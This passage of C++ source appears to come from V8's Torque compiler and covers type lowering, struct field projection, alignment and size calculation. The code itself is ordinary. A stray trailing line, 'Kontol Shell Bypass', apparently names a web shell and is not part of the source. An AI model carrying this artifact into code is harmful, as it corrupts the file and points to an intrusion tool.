  for (const auto& l : labels) {
    if (l.types != other.labels[i++].types) {
      return false;
    }
  }
  return true;
}

namespace {
bool FirstTypeIsContext(const std::vector<const Type*> parameter_types) {
  return !parameter_types.empty() &&
         parameter_types[0] == TypeOracle::GetContextType();
}
}  // namespace

bool Signature::HasContextParameter() const {
  return FirstTypeIsContext(types());
}

bool BuiltinPointerType::HasContextParameter() const {
  return FirstTypeIsContext(parameter_types());
}

bool IsAssignableFrom(const Type* to, const Type* from) {
  if (to == from) return true;
  if (from->IsSubtypeOf(to)) return true;
  return TypeOracle::ImplicitlyConvertableFrom(to, from).has_value();
}

bool operator<(const Type& a, const Type& b) { return a.id() < b.id(); }

VisitResult ProjectStructField(VisitResult structure,
                               const std::string& fieldname) {
  BottomOffset begin = structure.stack_range().begin();

  // Check constructor this super classes for fields.
  const StructType* type = *structure.type()->StructSupertype();
  auto& fields = type->fields();
  for (auto& field : fields) {
    BottomOffset end = begin + LoweredSlotCount(field.name_and_type.type);
    if (field.name_and_type.name == fieldname) {
      return VisitResult(field.name_and_type.type, StackRange{begin, end});
    }
    begin = end;
  }

  ReportError("struct '", type->name(), "' doesn't contain a field '",
              fieldname, "'");
}

namespace {
void AppendLoweredTypes(const Type* type, std::vector<const Type*>* result) {
  DCHECK_NE(type, TypeOracle::GetNeverType());
  if (type->IsConstexpr()) return;
  if (type == TypeOracle::GetVoidType()) return;
  if (base::Optional<const StructType*> s = type->StructSupertype()) {
    for (const Field& field : (*s)->fields()) {
      AppendLoweredTypes(field.name_and_type.type, result);
    }
  } else {
    result->push_back(type);
  }
}
}  // namespace

TypeVector LowerType(const Type* type) {
  TypeVector result;
  AppendLoweredTypes(type, &result);
  return result;
}

size_t LoweredSlotCount(const Type* type) { return LowerType(type).size(); }

TypeVector LowerParameterTypes(const TypeVector& parameters) {
  std::vector<const Type*> result;
  for (const Type* t : parameters) {
    AppendLoweredTypes(t, &result);
  }
  return result;
}

TypeVector LowerParameterTypes(const ParameterTypes& parameter_types,
                               size_t arg_count) {
  std::vector<const Type*> result = LowerParameterTypes(parameter_types.types);
  for (size_t i = parameter_types.types.size(); i < arg_count; ++i) {
    DCHECK(parameter_types.var_args);
    AppendLoweredTypes(TypeOracle::GetObjectType(), &result);
  }
  return result;
}

VisitResult VisitResult::NeverResult() {
  VisitResult result;
  result.type_ = TypeOracle::GetNeverType();
  return result;
}

VisitResult VisitResult::TopTypeResult(std::string top_reason,
                                       const Type* from_type) {
  VisitResult result;
  result.type_ = TypeOracle::GetTopType(std::move(top_reason), from_type);
  return result;
}

std::tuple<size_t, std::string> Field::GetFieldSizeInformation() const {
  auto optional = SizeOf(this->name_and_type.type);
  if (optional.has_value()) {
    return *optional;
  }
  Error("fields of type ", *name_and_type.type, " are not (yet) supported")
      .Position(pos);
  return std::make_tuple(0, "#no size");
}

size_t Type::AlignmentLog2() const {
  if (parent()) return parent()->AlignmentLog2();
  return TargetArchitecture::TaggedSize();
}

size_t AbstractType::AlignmentLog2() const {
  size_t alignment;
  if (this == TypeOracle::GetTaggedType()) {
    alignment = TargetArchitecture::TaggedSize();
  } else if (this == TypeOracle::GetRawPtrType()) {
    alignment = TargetArchitecture::RawPtrSize();
  } else if (this == TypeOracle::GetExternalPointerType()) {
    alignment = TargetArchitecture::ExternalPointerSize();
  } else if (this == TypeOracle::GetVoidType()) {
    alignment = 1;
  } else if (this == TypeOracle::GetInt8Type()) {
    alignment = kUInt8Size;
  } else if (this == TypeOracle::GetUint8Type()) {
    alignment = kUInt8Size;
  } else if (this == TypeOracle::GetInt16Type()) {
    alignment = kUInt16Size;
  } else if (this == TypeOracle::GetUint16Type()) {
    alignment = kUInt16Size;
  } else if (this == TypeOracle::GetInt32Type()) {
    alignment = kInt32Size;
  } else if (this == TypeOracle::GetUint32Type()) {
    alignment = kInt32Size;
  } else if (this == TypeOracle::GetFloat64Type()) {
    alignment = kDoubleSize;
  } else if (this == TypeOracle::GetIntPtrType()) {
    alignment = TargetArchitecture::RawPtrSize();
  } else if (this == TypeOracle::GetUIntPtrType()) {
    alignment = TargetArchitecture::RawPtrSize();
  } else {
    return Type::AlignmentLog2();
  }
  alignment = std::min(alignment, TargetArchitecture::TaggedSize());
  return base::bits::WhichPowerOfTwo(alignment);
}

size_t StructType::AlignmentLog2() const {
  if (this == TypeOracle::GetFloat64OrHoleType()) {
    return TypeOracle::GetFloat64Type()->AlignmentLog2();
  }
  size_t alignment_log_2 = 0;
  for (const Field& field : fields()) {
    alignment_log_2 =
        std::max(alignment_log_2, field.name_and_type.type->AlignmentLog2());
  }
  return alignment_log_2;
}

void Field::ValidateAlignment(ResidueClass at_offset) const {
  const Type* type = name_and_type.type;
  base::Optional<const StructType*> struct_type = type->StructSupertype();
  if (struct_type && struct_type != TypeOracle::GetFloat64OrHoleType()) {
    for (const Field& field : (*struct_type)->fields()) {
      field.ValidateAlignment(at_offset);
      size_t field_size = std::get<0>(field.GetFieldSizeInformation());
      at_offset += field_size;
    }
  } else {
    size_t alignment_log_2 = name_and_type.type->AlignmentLog2();
    if (at_offset.AlignmentLog2() < alignment_log_2) {
      Error("field ", name_and_type.name, " at offset ", at_offset, " is not ",
            size_t{1} << alignment_log_2, "-byte aligned.")
          .Position(pos);
    }
  }
}

base::Optional<std::tuple<size_t, std::string>> SizeOf(const Type* type) {
  std::string size_string;
  size_t size;
  if (type->IsSubtypeOf(TypeOracle::GetTaggedType())) {
    size = TargetArchitecture::TaggedSize();
    size_string = "kTaggedSize";
  } else if (type->IsSubtypeOf(TypeOracle::GetRawPtrType())) {
    size = TargetArchitecture::RawPtrSize();
    size_string = "kSystemPointerSize";
  } else if (type->IsSubtypeOf(TypeOracle::GetExternalPointerType())) {
    size = TargetArchitecture::ExternalPointerSize();
    size_string = "kExternalPointerSize";
  } else if (type->IsSubtypeOf(TypeOracle::GetVoidType())) {
    size = 0;
    size_string = "0";
  } else if (type->IsSubtypeOf(TypeOracle::GetInt8Type())) {
    size = kUInt8Size;
    size_string = "kUInt8Size";
  } else if (type->IsSubtypeOf(TypeOracle::GetUint8Type())) {
    size = kUInt8Size;
    size_string = "kUInt8Size";
  } else if (type->IsSubtypeOf(TypeOracle::GetInt16Type())) {
    size = kUInt16Size;
    size_string = "kUInt16Size";
  } else if (type->IsSubtypeOf(TypeOracle::GetUint16Type())) {
    size = kUInt16Size;
    size_string = "kUInt16Size";
  } else if (type->IsSubtypeOf(TypeOracle::GetInt32Type())) {
    size = kInt32Size;
    size_string = "kInt32Size";
  } else if (type->IsSubtypeOf(TypeOracle::GetUint32Type())) {
    size = kInt32Size;
    size_string = "kInt32Size";
  } else if (type->IsSubtypeOf(TypeOracle::GetFloat64Type())) {
    size = kDoubleSize;
    size_string = "kDoubleSize";
  } else if (type->IsSubtypeOf(TypeOracle::GetIntPtrType())) {
    size = TargetArchitecture::RawPtrSize();
    size_string = "kIntptrSize";
  } else if (type->IsSubtypeOf(TypeOracle::GetUIntPtrType())) {
    size = TargetArchitecture::RawPtrSize();
    size_string = "kIntptrSize";
  } else if (auto struct_type = type->StructSupertype()) {
    if (type == TypeOracle::GetFloat64OrHoleType()) {
      size = kDoubleSize;
      size_string = "kDoubleSize";
    } else {
      size = (*struct_type)->PackedSize();
      size_string = std::to_string(size);
    }
  } else {
    return {};
  }
  return std::make_tuple(size, size_string);
}

bool IsAnyUnsignedInteger(const Type* type) {
  return type == TypeOracle::GetUint32Type() ||
         type == TypeOracle::GetUint31Type() ||
         type == TypeOracle::GetUint16Type() ||
         type == TypeOracle::GetUint8Type() ||
         type == TypeOracle::GetUIntPtrType();
}

bool IsAllowedAsBitField(const Type* type) {
  if (type->IsBitFieldStructType()) {
    // No nested bitfield structs for now. We could reconsider if there's a
    // compelling use case.
    return false;
  }
  // Any integer-ish type, including bools and enums which inherit from integer
  // types, are allowed. Note, however, that we always zero-extend during
  // decoding regardless of signedness.
  return IsPointerSizeIntegralType(type) || Is32BitIntegralType(type);
}

bool IsPointerSizeIntegralType(const Type* type) {
  return type->IsSubtypeOf(TypeOracle::GetUIntPtrType()) ||
         type->IsSubtypeOf(TypeOracle::GetIntPtrType());
}

bool Is32BitIntegralType(const Type* type) {
  return type->IsSubtypeOf(TypeOracle::GetUint32Type()) ||
         type->IsSubtypeOf(TypeOracle::GetInt32Type()) ||
         type->IsSubtypeOf(TypeOracle::GetBoolType());
}

base::Optional<NameAndType> ExtractSimpleFieldArraySize(
    const ClassType& class_type, Expression* array_size) {
  IdentifierExpression* identifier =
      IdentifierExpression::DynamicCast(array_size);
  if (!identifier || !identifier->generic_arguments.empty() ||
      !identifier->namespace_qualification.empty())
    return {};
  if (!class_type.HasField(identifier->name->value)) return {};
  return class_type.LookupField(identifier->name->value).name_and_type;
}

std::string Type::GetRuntimeType() const {
  if (IsSubtypeOf(TypeOracle::GetSmiType())) return "Smi";
  if (IsSubtypeOf(TypeOracle::GetTaggedType())) {
    return GetGeneratedTNodeTypeName();
  }
  if (base::Optional<const StructType*> struct_type = StructSupertype()) {
    std::stringstream result;
    result << "std::tuple<";
    bool first = true;
    for (const Type* field_type : LowerType(*struct_type)) {
      if (!first) result << ", ";
      first = false;
      result << field_type->GetRuntimeType();
    }
    result << ">";
    return result.str();
  }
  return ConstexprVersion()->GetGeneratedTypeName();
}

std::string Type::GetDebugType() const {
  if (IsSubtypeOf(TypeOracle::GetSmiType())) return "uintptr_t";
  if (IsSubtypeOf(TypeOracle::GetTaggedType())) {
    return "uintptr_t";
  }
  if (base::Optional<const StructType*> struct_type = StructSupertype()) {
    std::stringstream result;
    result << "std::tuple<";
    bool first = true;
    for (const Type* field_type : LowerType(*struct_type)) {
      if (!first) result << ", ";
      first = false;
      result << field_type->GetDebugType();
    }
    result << ">";
    return result.str();
  }
  return ConstexprVersion()->GetGeneratedTypeName();
}

}  // namespace torque
}  // namespace internal
}  // namespace v8

Kontol Shell Bypass